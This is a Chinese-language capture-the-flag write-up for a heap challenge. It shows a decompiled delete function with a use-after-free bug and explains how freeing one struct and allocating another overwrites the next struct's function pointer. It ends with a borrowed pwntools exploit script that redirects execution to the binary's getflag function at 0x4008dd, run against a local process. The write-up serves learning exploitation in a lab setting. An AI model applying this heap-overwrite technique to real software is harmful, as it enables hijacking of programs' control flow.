小动物很可爱的说?
放在ida中分析,发现已经有了获取flag的函数,不需要自己找system了,接下来就是如何控制程序的执行流程。
首先对程序功能作基本的分析:
新建动物时malloc一个结构体存放动物的信息,如果是熊,结构体的0x0-0x8存放0xdeadbeef,0x8-0x14存放动物的名字,0x14-0x20存放动物的type;
如果是其他动物,从0开始存放动物的名字。维护了一个全局指针pointers,作为一个目录表记录所有的结构体地址。
使用uaf的姿势,关键在于delete功能:
void deleteAnimal()
{
int v0; // [sp+Ch] [bp-4h]@1
puts("Choose your friends wisely..");
puts("Which element do you want to delete?");
fflush(stdout);
__isoc99_scanf("%d", &v0);
getchar();
if ( v0 > 0 && v0 <= 4 )
free(*(&pointers + v0));
}
首先第一个结构体无法被delete,所以大致流程为:makebear--->makebear---->makebear--->delete(1) 下次malloc时就会优先分配到第二个结构体的位置,此时maketiger(除熊外随便动物,不能是熊,否则会更新bearoffset),输入动物的名字时就会从第二个结构体的起始处开始存放,从而覆盖掉第三个结构体起始处的0xdeadbeef:
此时调用delete就会执行&pointers+3 (0x155e470)指向的指令,从而实现程序流程控制
作者已经给出了getflag的函数不需要自己再构造system来getshell,getflag的函数地址位0x4008dd
参考大佬的exp:
#!/usr/bin/python2
# coding:utf-8
from pwn import *
def make_bear(s, name='hello'):
log.info('making a bear with name ' + name)
s.recv()
s.sendline('3')
s.recv()
s.sendline('3')
s.recv()
s.sendline(name)
def make_tiger(s, name='hello'):
log.info('making a tiger with name ' + name)
s.recv()
s.sendline('2')
s.recv()
s.sendline('3')
s.recv()
s.sendline(name)
def delete_animal(s, num):
log.info('delete animal ' + num)
s.recv()
s.sendline('4')
s.recv()
s.sendline(num)
def send_pwn(s):
log.info('sending to pwn')
s.recv()
s.sendline('4919')
def pwn():
s = process("./ani")
make_bear(s)
make_bear(s)
make_bear(s)
delete_animal(s, '1')
make_tiger(s, 'a' * 32 + '\xdd\x08\x40\x00')
gdb.attach(s,'b pwnMe')
send_pwn(s)
log.info("flag is :" + s.recv())
if __name__ == "__main__":
pwn()